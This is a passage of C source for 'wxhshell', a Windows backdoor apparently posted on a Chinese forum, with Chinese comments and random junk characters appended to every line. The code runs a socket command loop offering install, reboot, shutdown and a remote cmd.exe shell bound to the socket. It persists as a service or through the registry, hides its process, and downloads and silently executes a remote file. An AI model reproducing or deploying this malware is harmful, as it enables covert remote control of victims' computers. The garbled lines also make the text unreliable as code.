    switch(cmd[0]) {  ?Nql7F4  
  FoCkTp+/  
  // 帮助 %$| k3[4V  
  case '?': { ZRGZ'+hw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y3>\;W*?  
    break; # HYkzjb  
  } ?GU!ke p  
  // 安装 %nF\tVP3]  
  case 'i': { XtdLKYET  
    if(Install()) `wd*&vl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[<":NX2  
    else Ct+%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o1+]6s+j}  
    break; ZH_4'm!^g|  
    } :exuTn  
  // 卸载 ',Pk>f]AB-  
  case 'r': { x~tQYK   
    if(Uninstall()) 5N<v'6&=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z"Ni Y  
    else i]%"s_l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); olxP`iK  
    break; Nn1^#kc  
    } KBA%  
  // 显示 wxhshell 所在路径 @A'1D@f#  
  case 'p': { e/jM+%  
    char svExeFile[MAX_PATH]; rd4'y~#S  
    strcpy(svExeFile,"\n\r"); yt: V+qdv  
      strcat(svExeFile,ExeFile); 5>Yd\(`K  
        send(wsh,svExeFile,strlen(svExeFile),0); gi@ji-10  
    break; q.km>XRk~  
    } N~_jiVD>  
  // 重启 Cbs4`D,  
  case 'b': { ?^4sE-C6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IkNt! 2s_  
    if(Boot(REBOOT)) uA`PZ|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ER1mA:8>E  
    else { 6'! {0 5=m  
    closesocket(wsh); =2)t1 H  
    ExitThread(0); s/H"Ab  
    } 3eP0v  
    break; kA=~ 8N  
    } IF}c*uGj}  
  // 关机 l0xFt ~l  
  case 'd': { LlY*r+Cgl1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8lSn*;S,  
    if(Boot(SHUTDOWN)) /C2f;h(1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WTs[Sud/  
    else { G11.6]?Gg  
    closesocket(wsh); Jd"s~n<>K  
    ExitThread(0); N4|q2Jvj6  
    } ,!u@:UBT  
    break; )Hm[j)YI  
    } X`QW(rq  
  // 获取shell ?$4R <  
  case 's': { E wsq0D  
    CmdShell(wsh); zb}+ m#q  
    closesocket(wsh); Sb4PCt  
    ExitThread(0); \OT)KVwO  
    break; ^6y4!='ci  
  } B&k T#  
  // 退出 G2{M#H  
  case 'x': { Cy:`pYxhd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @Qjl`SL%O^  
    CloseIt(wsh); slvs oN@  
    break; e - ]c  
    } &dDI*v+  
  // 离开 E816 YS='  
  case 'q': { _s-HlE?C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5po' (r|U  
    closesocket(wsh); e0WSHg=6@  
    WSACleanup(); |aAWW d5  
    exit(1); =C>`}%XT}  
    break; L(2P|{C  
        } VN-#R=D  
  } vcJb\LW  
  } f"<@6Axq  
39aCwhh7v  
  // 提示信息 C2=iZ`Z>T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rspoSPnY1  
} [^}>AC*im  
  } <*Kh=v  
t^_{5  
  return; \i;&@Kp.N  
} u$=ogp =0  
w*xUuwi  
// shell模块句柄 }-q`&1!t  
int CmdShell(SOCKET sock) I<(.i!-x  
{ P[GX}~_k  
STARTUPINFO si; ) UDJ[pL@  
ZeroMemory(&si,sizeof(si)); avt>saR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &*]{"^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cov#Z ux  
PROCESS_INFORMATION ProcessInfo; %3c|  
char cmdline[]="cmd"; H(G^O&ppdB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :{i$2\DH6  
  return 0; bqQO E4;  
} {.3  
y.*=Ww+  
// 自身启动模式 kuj1 2  
int StartFromService(void) KjwY'aYwr:  
{ %][$y 7  
typedef struct [X">vaa  
{ 1u"*09yZd  
  DWORD ExitStatus; 2~&hstd%  
  DWORD PebBaseAddress; /q"d`!h)w  
  DWORD AffinityMask; AXh3LA  
  DWORD BasePriority; L740s[,`o#  
  ULONG UniqueProcessId; 60aKT:KLC_  
  ULONG InheritedFromUniqueProcessId; ,8=`*  
}   PROCESS_BASIC_INFORMATION; yw* mA1v  
&<w[4z\  
PROCNTQSIP NtQueryInformationProcess; _L4<^Etfm  
4%!{?[$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y!= k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 29iIG 'N  
^/DII`A  
  HANDLE             hProcess; {NY~JFM  
  PROCESS_BASIC_INFORMATION pbi; yXTK(<'  
-q&7J' N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "0H56#eW  
  if(NULL == hInst ) return 0; oWx_O-_._  
;]&~D +XH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bQdSX8: !R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5Q$r@&qp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KM6N'x^z  
)zW%\s*'  
  if (!NtQueryInformationProcess) return 0; (3N"oE.b]  
[<Os~bfOv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q$fRi[/L  
  if(!hProcess) return 0; *TM;trfz  
ksu}+i,a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #6N+5Yx_[  
AvrL9D  
  CloseHandle(hProcess); i+)}aA  
(zs4#ja2,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p2Dh3)&  
if(hProcess==NULL) return 0; pM&]&Nk  
t/d',Khg  
HMODULE hMod; >d{dZD}  
char procName[255]; 5e#&"sJ.1  
unsigned long cbNeeded; 8R\>FNk;  
]{,Gf2v;;d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *^@#X-NG  
2&.n  
  CloseHandle(hProcess); wc7mJxJxA  
. 0 s[{x  
if(strstr(procName,"services")) return 1; // 以服务启动 b46[fa   
hgweNRTh!  
  return 0; // 注册表启动 W,HH *!  
} \K?(  
c Pq Dsl3  
// 主模块 X-)RU?  
int StartWxhshell(LPSTR lpCmdLine) .:{h{@a  
{ r=~WMDCz@  
  SOCKET wsl; 4{;8:ax&w  
BOOL val=TRUE; ([,vX"4  
  int port=0; 1p7cv~#95  
  struct sockaddr_in door; K\IYx|Hm a  
axK6sIxx  
  if(wscfg.ws_autoins) Install(); GJ1;\:cQq  
~K~b`|1  
port=atoi(lpCmdLine); qIbg 4uE  
rU=b?D)n!w  
if(port<=0) port=wscfg.ws_port; (C`FicY  
O{k89{  
  WSADATA data; [=F>#8=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W.,% 0cZ  
R^J.?>0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,4^9cFVo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hrs#ZZ:E  
  door.sin_family = AF_INET; m~)Fr8Wh6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bZNIxkc[Dh  
  door.sin_port = htons(port); 9 wO/?   
OUEI~b1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7FmbV/&c  
closesocket(wsl); qwq/Xcv  
return 1; . i{>Z  
} AbUDn\0$  
)7&42>t  
  if(listen(wsl,2) == INVALID_SOCKET) { {&2$[g=[ ^  
closesocket(wsl); uY^v"cw/F  
return 1; xS6(K  
} =?/N5O(  
  Wxhshell(wsl); l GdM80f  
  WSACleanup(); ]2Sfkl0  
Guk.,}9  
return 0; Qq#Ff\|4u(  
J\het 2?\  
} $[Tt#CJ w  
zRwb"  
// 以NT服务方式启动 `]*%:NZP@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t)-*.qZh  
{ (k%GY< bP  
DWORD   status = 0; W8w3~  
  DWORD   specificError = 0xfffffff; 01U *_\  
bTZ>@~$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j?EskT6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h ?uqLsRl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 06 QU  
  serviceStatus.dwWin32ExitCode     = 0; 5Z/yhF.{  
  serviceStatus.dwServiceSpecificExitCode = 0; 5]jx5!N  
  serviceStatus.dwCheckPoint       = 0; w3^NL(>  
  serviceStatus.dwWaitHint       = 0; 3`8dii  
yGU .AM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MaZM%W8Z  
  if (hServiceStatusHandle==0) return; exfm q  
i 3m3zXt  
status = GetLastError(); gRBSt M&hU  
  if (status!=NO_ERROR) NF6X- ,c d  
{ bf& }8I$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _p\629`  
    serviceStatus.dwCheckPoint       = 0; 9 |' |BC  
    serviceStatus.dwWaitHint       = 0; >; aCf#q  
    serviceStatus.dwWin32ExitCode     = status; |#{-.r6Y]  
    serviceStatus.dwServiceSpecificExitCode = specificError; EQ4#fAM)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'eD J@4Xm  
    return; \[:PykS  
  } *yJ[zXXjJ  
l^.K'Q1~a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /\ytr%7,'  
  serviceStatus.dwCheckPoint       = 0; &~RR&MdZ2  
  serviceStatus.dwWaitHint       = 0; 4|`Yz%'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )h#]iGVN}  
} Bd{4Ae\_+g  
]1m"V;vZ  
// 处理NT服务事件,比如:启动、停止 ).LTts7c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fX_#S|DlSG  
{ / /'Tck  
switch(fdwControl) dd]?9  
{ {jjSJIV1  
case SERVICE_CONTROL_STOP: -;^;2#](g  
  serviceStatus.dwWin32ExitCode = 0; nSS>\$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P` #QGZ>  
  serviceStatus.dwCheckPoint   = 0; [r(Qs|  
  serviceStatus.dwWaitHint     = 0; r#A_RZ2~@  
  { 7KU~(?|:h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7c-Gm R2  
  } iZaeoy  
  return; "NDxgJ%J35  
case SERVICE_CONTROL_PAUSE: X 7=fX~s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7|YN:7iA  
  break; @:Di`B_{  
case SERVICE_CONTROL_CONTINUE: %%>_B2vc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D3`}4 A  
  break; Br}h/!NU/  
case SERVICE_CONTROL_INTERROGATE: \i!Son.<  
  break; ,|+Gls  
}; vv6?V#{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f/,tgA  
} %JtbRs(~q  
mLwoi!]m  
// 标准应用程序主函数 9}5K6aQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cs wE  
{ in<}fAro6  
yPV' pT)  
// 获取操作系统版本 P-CB;\  
OsIsNt=GetOsVer(); . V$ps-t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~]BMrgn  
Bn?:w\%Ue  
  // 从命令行安装 YzAFC11,  
  if(strpbrk(lpCmdLine,"iI")) Install(); Po(]rQbE  
9GgA6#  
  // 下载执行文件 NBjeH tT  
if(wscfg.ws_downexe) { @b2`R3}9R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c8{]]  
  WinExec(wscfg.ws_filenam,SW_HIDE); YD\]{,F|  
} pQMtj0(y  
Q/ZkW  
if(!OsIsNt) { vfcb:x  
// 如果时win9x,隐藏进程并且设置为注册表启动 jij<yM8$g  
HideProc(); ; dd Q/  
StartWxhshell(lpCmdLine); MAqLIf<G  
}  QV qK  
else '7*=`q{  
  if(StartFromService()) aQ#qRkI  
  // 以服务方式启动 S:q$?$  
  StartServiceCtrlDispatcher(DispatchTable); [3N[i(Wlk  
else /RT%0!  
  // 普通方式启动 B@O@1?c[  
  StartWxhshell(lpCmdLine); at6149B\)  
]"F5;p; y  
return 0; /qU>5;  
}
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只看该作者 1 发表于: 2006-10-10
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